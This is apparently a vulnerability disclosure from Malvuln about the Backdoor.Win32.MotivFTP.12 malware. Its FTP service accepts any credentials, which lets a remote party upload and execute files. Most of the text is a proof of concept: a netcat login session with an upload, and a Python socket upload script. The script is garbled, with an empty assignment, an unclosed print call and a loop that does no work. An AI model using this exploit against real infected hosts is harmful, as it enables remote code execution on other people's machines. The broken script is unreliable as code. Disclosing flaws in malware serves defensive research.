Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.MotivFTP.12  
Vulnerability: Authentication Bypass RCE   
Description: The malware listens on TCP port 21. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.   
Type: PE32  
MD5: 88785a093b8fa00893214dd220ac255d  
Vuln ID: MVID-2021-0203   
Disclosure: 05/07/2021  
1) logon as any user  
nc64.exe 21  
220 FTP Server ready  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
215 UNIX Type: L8 Internet Component Suite  
227 Entering Passive Mode (192,168,88,127,195,34).  
150 Opening data connection for DOOM.exe.  
226 File received ok  
2) calculate port and run upload script  
from socket import *  
DOOM="DOOM.exe" #Calculate the port 195*256+34 = 49954  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE =  
while EXE:  
print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")  
print("MD5: 88785a093b8fa00893214dd220ac255d"  
print("By Malvuln");  
if __name__=="__main__":  
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